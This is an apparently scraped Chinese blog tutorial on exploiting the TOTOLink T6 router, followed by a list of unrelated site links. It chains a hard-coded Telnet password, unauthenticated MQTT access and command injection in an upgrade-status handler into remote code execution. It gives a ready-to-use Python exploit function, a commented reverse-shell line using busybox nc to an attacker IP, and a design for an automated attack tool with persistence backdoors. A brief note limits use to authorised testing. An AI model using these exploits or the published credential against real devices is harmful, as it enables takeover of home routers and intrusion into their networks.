当前位置: 首页 > news >正文

TOTOLink T6路由器漏洞实战:从Telnet开启到MQTT命令注入全流程解析

TOTOLink T6路由器漏洞实战:从Telnet开启到MQTT命令注入全流程解析

最近在整理智能家居安全测试案例时,我又翻出了那台尘封已久的TOTOLink T6路由器。这款设备因其亲民的价格和“子母路由”的卖点,在特定市场曾有一定保有量。对于安全研究人员和IoT设备测试人员而言,这类设备往往是一座待挖掘的“富矿”,其安全设计上的疏漏,常常能串联成一条完整的攻击链。今天,我想抛开单纯的漏洞复现报告,和大家深入聊聊如何从一块固件开始,抽丝剥茧,最终构建出一条从服务异常开启到远程命令执行的自动化攻击路径。这不仅仅是执行几个已知的POC,更是关于逆向思维、协议理解与工具链整合的实战演练。

1. 固件初探与攻击面分析

拿到一台IoT设备,尤其是路由器,我们的第一站永远是它的固件。对于TOTOLink T6,我们可以从官网下载或从设备本地备份获取固件文件。通常,这类嵌入式设备的固件是经过打包的,可能使用binwalk工具就能直接解压出文件系统。

binwalk -Me TOTOLink_T6_V2_firmware.bin

解压后,一个结构清晰的根文件系统(squashfs-root)会呈现在我们面前。此时,不要急于深入某个具体文件,而是应该先进行一轮快速的攻击面测绘。我的习惯是关注以下几个关键目录和文件:

  • /www/web目录:存放Web管理界面文件,是寻找前端漏洞和接口的起点。
  • /cgi-bin/目录:CGI程序所在处,通常是后端逻辑的核心,命令注入、权限绕过等高危漏洞的高发区。
  • /etc/init.d//etc/rc.d/:系统启动脚本,这里可能硬编码密码、暴露敏感服务或配置。
  • /bin/sbin/usr/bin:二进制程序,通过file命令查看哪些是ELF可执行文件,为后续逆向分析做准备。
  • 全局配置文件:如/etc/passwd/etc/shadow(可能不存在或为空),以及任何包含configsetting字样的文件。

在T6的案例中,一个有趣的发现是在/www/web_cste/目录下存在一个telnet.html页面。这强烈暗示设备可能隐藏了一个可通过Web界面控制的Telnet服务。通过简单的HTTP请求访问该页面,往往就能验证服务开启接口的存在性。这一步的意义在于,它为我们提供了一个低权限的初始立足点。即使此时我们不知道Telnet的密码,但能控制其开关,本身就是一个安全隐患。

提示:在分析固件时,使用grep -r命令全局搜索关键词(如passwordtelnetadminexecsystem)能快速定位潜在敏感信息。例如:grep -r "password" squashfs-root/ --include="*.sh" --include="*.cgi"

2. 逆向工程破解Telnet认证

通过Web界面开启Telnet服务后,尝试连接(telnet 192.168.0.1)会提示输入密码。此时,固件分析进入深水区——我们需要找到认证凭证。常见的思路有几种:

  1. 逆向Web CGI程序:既然Web页面能控制Telnet开关,那么处理该请求的CGI程序(如cstecgi.cgi)很可能也包含或涉及认证逻辑。使用IDA Pro或Ghidra对其进行逆向分析,查找与telnetloginauth相关的字符串和函数。
  2. 分析启动脚本与配置文件:查看/etc/init.d/rcS等启动脚本,有时密码会以明文或简单哈希的形式写在初始化流程中。
  3. 提取并破解密码哈希:在二进制文件或配置中搜索$1$(MD5crypt)、$5$(SHA-256crypt)、$6$(SHA-512crypt)等Linux密码哈希格式。找到后,可以使用johnhashcat进行破解。
  4. 查找硬编码密码:对关键二进制文件进行字符串提取(strings命令),搜索常见的默认密码或厂商特有的密码模式。

在T6的案例中,研究人员在/etc/init.d/rcS中发现了线索,指向一个名为/bin/cs的自定义二进制文件。对这个文件进行逆向分析,成为了破解密码的关键。

# 在解压的固件中查找cs文件 find squashfs-root -name "*cs*" -type f | grep -v ".so" # 使用strings查看其字符串 strings squashfs-root/bin/cs | grep -i pass

逆向cs程序发现,其内部硬编码了Telnet服务的密码KL@UHeZ0。这种将关键认证信息固化在二进制文件中的做法,在低成本IoT设备中屡见不鲜,一旦二进制被逆向,所有同型号设备都将门户大开。

成功登录Telnet后,我们获得了设备的shell访问权限。接下来,需要快速进行内网信息收集:

# 查看网络连接 netstat -tulnp # 如果netstat不存在,可以尝试使用busybox或查看/proc/net/tcp cat /proc/net/tcp # 查看进程列表 ps # 查看已安装的软件包(如果适用) opkg list-installed

在T6上,我们发现了几个关键进程:提供Web服务的lighttpd、我们刚刚登录的telnetd,以及一个名为cs_broker的进程,其监听着1883端口。1883端口是MQTT协议的标准端口,这立刻将我们的攻击面从传统的Web/Telnet扩展到了物联网消息协议领域。

3. MQTT协议分析与未授权访问漏洞

MQTT(消息队列遥测传输)是一种轻量级的发布/订阅模式消息协议,广泛应用于IoT场景。其基本模型包含三个角色:

  • 发布者:发送消息的客户端。
  • 代理:接收消息并转发给相关订阅者的服务器(Broker)。
  • 订阅者:接收消息的客户端。

在T6路由器中,cs_broker很可能就是MQTT代理。一个严重的配置漏洞是:代理未对客户端进行身份认证。这意味着任何能够访问设备1883端口的攻击者,都可以以发布者或订阅者的身份连接MQTT代理,而无需提供用户名和密码。

我们可以使用mosquitto客户端工具或Python的paho-mqtt库进行测试:

import paho.mqtt.client as mqtt import time def on_connect(client, userdata, flags, rc): print(f"Connected with result code {rc}") # 尝试订阅所有主题(通配符#) client.subscribe("#") def on_message(client, userdata, msg): print(f"{msg.topic}: {msg.payload.decode()}") client = mqtt.Client() client.on_connect = on_connect client.on_message = on_message client.connect("192.168.0.1", 1883, 60) client.loop_forever()

运行这段代码,如果成功连接并开始接收到来自路由器内部的各种状态消息(如设备上线、配置更新等),那么就证实了MQTT服务存在未授权访问漏洞。攻击者此时可以“窃听”设备内部通信,获取敏感信息。

更关键的是,我们需要理解设备内部组件是如何通过MQTT通信的。回顾之前开启Telnet的Web请求,其数据包格式为:

{"telnet_enabled":"1","topicurl":"setTelnetCfg"}

这暗示了Web后端(CGI)可能是将请求转化为MQTT消息,发布到某个主题(Topic),由另一个服务(可能是cs_broker或相关守护进程)订阅该主题并执行相应操作。通过逆向分析cstecgi.cgi及其相关的库文件(如libmystdlib.so),可以确认这一点:它调用了类似cste_pub的函数,将数据发布到MQTT代理。

因此,我们完全可以绕过Web界面,直接向MQTT代理发布消息来开启Telnet

client = mqtt.Client() client.connect("192.168.0.1", 1883, 60) # 根据逆向分析得到的主题和payload格式 client.publish("totolink/router/setTelnetCfg", b'{"telnet_enabled":"1"}') client.disconnect()

这标志着攻击路径的升级:从需要访问Web界面(可能受限于网络策略),升级到只需访问1883端口即可完成关键操作。

4. MQTT主题注入与远程命令执行

未授权访问和仿冒发布只是第一步。真正的致命漏洞出现在MQTT消息的处理逻辑中。我们需要寻找那些订阅了特定主题并执行危险操作的“订阅者”函数。

通过逆向分析cs_broker或相关处理库,研究人员发现了一个名为recvSlaveUpgstatus的函数(或对应的主题处理逻辑)。该函数负责处理设备升级状态相关的MQTT消息。其伪代码逻辑可能简化如下:

void handle_recvSlaveUpgstatus(char *topic, char *payload) { json_t *root = json_parse(payload); char *status = json_get_string(root, "status"); char *ip = json_get_string(root, "ip"); if (strcmp(status, "1") == 0) { // 状态为1时,执行升级操作,其中包含ip参数 char cmd[256]; snprintf(cmd, sizeof(cmd), "/usr/bin/upgrade_slave.sh %s", ip); system(cmd); // 危险!未对ip参数做任何过滤 } json_free(root); }

漏洞显而易见:ip参数从用户控制的MQTT消息中直接提取,未经任何过滤或验证,便拼接进系统命令中,交给了system()函数执行。这是一个典型的命令注入漏洞

结合MQTT的未授权访问,攻击链变得完整且极具威力。攻击者无需任何前置认证,直接向特定主题发布恶意构造的payload,即可在路由器上执行任意命令。

漏洞利用脚本示例:

import paho.mqtt.client as mqtt import json def exploit_rce(target_ip, command): """ 利用MQTT命令注入漏洞执行任意命令 :param target_ip: 目标路由器IP :param command: 要执行的系统命令 """ client = mqtt.Client() try: client.connect(target_ip, 1883, 5) # 构造恶意payload,将命令注入ip参数 # 注意:需要根据实际漏洞上下文进行转义和闭合,这里是一个示例 payload = { "status": "1", "ip": f"; {command} #" # 使用分号结束原命令,并注释掉后续部分 } topic = "totolink/router/recvSlaveUpgstatus" client.publish(topic, json.dumps(payload).encode()) print(f"[+] Payload sent to {target_ip}. Command: {command}") except Exception as e: print(f"[-] Connection or publish failed: {e}") finally: client.disconnect() # 示例:让路由器重启 exploit_rce("192.168.0.1", "reboot") # 示例:在路由器上创建反向shell(需配合nc监听) # exploit_rce("192.168.0.1", "busybox nc 攻击者IP 4444 -e /bin/sh")

这个漏洞的危害等级极高。它允许攻击者完全控制设备,可以窃取网络流量、植入后门、将路由器作为跳板攻击内网其他设备,或将其纳入僵尸网络。

5. 漏洞链整合与自动化攻击工具

在实际渗透测试或安全研究中,将上述分散的步骤整合成一个自动化的攻击链工具,能极大提升效率。工具的设计思路应该是模块化、可扩展的。

一个基础的自动化利用框架可能包含以下模块:

  1. 信息收集模块:自动识别目标IP,探测开放端口(80, 23, 1883等)。
  2. Telnet开启模块:尝试通过Web接口和MQTT接口两种方式开启Telnet服务。
  3. 密码破解/认证绕过模块:集成已知的硬编码密码字典,尝试自动登录Telnet。
  4. MQTT侦察模块:连接MQTT代理,订阅所有主题,监听并记录设备通信,自动识别敏感主题和消息格式。
  5. 命令注入利用模块:针对识别出的脆弱主题(如recvSlaveUpgstatus),提供交互式的命令执行接口。
  6. 后渗透模块:在获取shell后,自动上传持久化后门、收集网络配置、ARP表、连接设备列表等信息。

工具化实践中的注意事项:

  • 错误处理与鲁棒性:网络环境不稳定,工具需要处理超时、连接拒绝、协议异常等情况。
  • 日志记录:详细记录每一步的操作和结果,便于复现和调试。
  • 流量隐蔽:在需要隐蔽的测试中,可以考虑对MQTT通信进行加密或混淆(尽管原漏洞可能不支持)。
  • 合法性绝对只能在你自己拥有完全权限的设备或明确授权的测试环境中使用此类工具。

下表对比了手动测试与自动化工具在攻击链各阶段的差异:

攻击阶段手动测试要点自动化工具优势
固件分析依赖研究员经验,手动运行binwalk,grep,strings, 用IDA/Ghidra逆向。可集成固件解压、字符串提取、简单模式匹配,快速输出可疑点报告。
服务探测使用nmapnetcat手动扫描。自动进行端口扫描和服务识别,标记出80、23、1883等关键端口。
Telnet开启手动构造HTTP或MQTT请求。自动尝试多种开启方式,并验证端口是否成功打开。
密码认证手动输入密码或使用简单脚本爆破。集成密码字典,自动进行登录尝试,支持多种认证协议。
MQTT交互手动编写Python脚本连接、订阅、发布。提供交互式CLI或GUI,方便主题浏览、消息监听和自定义发布。
漏洞利用手动构造并发送恶意Payload。一键化生成和发送针对特定漏洞的Exploit,提供反向Shell等高级Payload。
后渗透手动执行命令收集信息。自动执行信息收集脚本,上传工具,建立持久化。

在编写这样的工具时,我倾向于使用Python,因为它拥有丰富的网络库(requests,paho-mqtt,paramikofor SSH)和解析库。核心是利用面向对象的思想,将每个漏洞或步骤封装成类,通过一个主控制器来调度执行流程。

http://www.cnnetsun.cn/news/1287966.html

相关文章:

  • 从高考保险柜到乐观锁:AtomicStampedReference如何根治CAS的ABA顽疾
  • Linux网络驱动开发:PHY状态机与链路检测机制详解(附实战代码分析)
  • HY-Motion 1.0效果实测:对比手动K帧,AI生成动作自然度如何?
  • 零代码实战:用Clawdbot在星图平台快速部署Qwen3-VL:30B并接入飞书(保姆级教程)
  • 线程池核心参数?如何设置?
  • 【八股必备】设计模式+常见技术场景
  • 算法专题--数组二分查找--Leetcode704题
  • ENSP USG6000v Web登录配置全流程详解
  • XSS在线平台实战指南:从创建项目到捕获Cookie
  • 华为云OBS实战配置:从基础创建到高级策略部署
  • Web安全实战:绕过__wakeup漏洞攻防解析
  • 调速器响应,0.05秒级延迟
  • 实战手记:基于STM32F407的SD卡Bootloader开发
  • 3.3 凹凸性与二阶导数判别法
  • 运算符和js语句
  • 提升安卓开发效率:用快马ai一键生成mvvm网络请求框架代码
  • 从零实现卡尔曼滤波:Arduino与MPU6050的传感器数据融合实战
  • 【Windows】Dify + Ollama/Xinference/GPUStack:一站式AI开发环境搭建指南
  • 零基础入门:Sambert多情感语音合成镜像部署指南,3步搭建Web服务
  • 基于Arduino的智能循迹小车设计与PID优化实战
  • 通义千问3-VL-Reranker-8B效果展示:图文视频混合检索,排序精准度实测
  • OpenHD轻量化移植:用Ubuntu笔记本替代树莓派打造低成本高清图传地面站
  • Codeforces Round 1082 (Div. 2) E
  • SpringBoot基于Web的智能家教服务平台
  • NVIDIA Profile Inspector 深度优化指南:从硬件潜力到极致体验
  • 【正点原子I.MX6U-MINI】从零到系统启动:uboot编译与EMMC固化的完整实践
  • 快马平台一键生成Spring Boot用户管理原型,5分钟搭建可运行后端服务
  • 基于立创地文星开发板的USB-Hub电压电流表DIY全解析:硬件选型、软件配置与外壳设计
  • 【数字电子技术课程设计】基于FPGA的高精度数字电子钟设计与实现
  • Allegro17.4异形焊盘实战:从DXF导入到Padstack的完整流程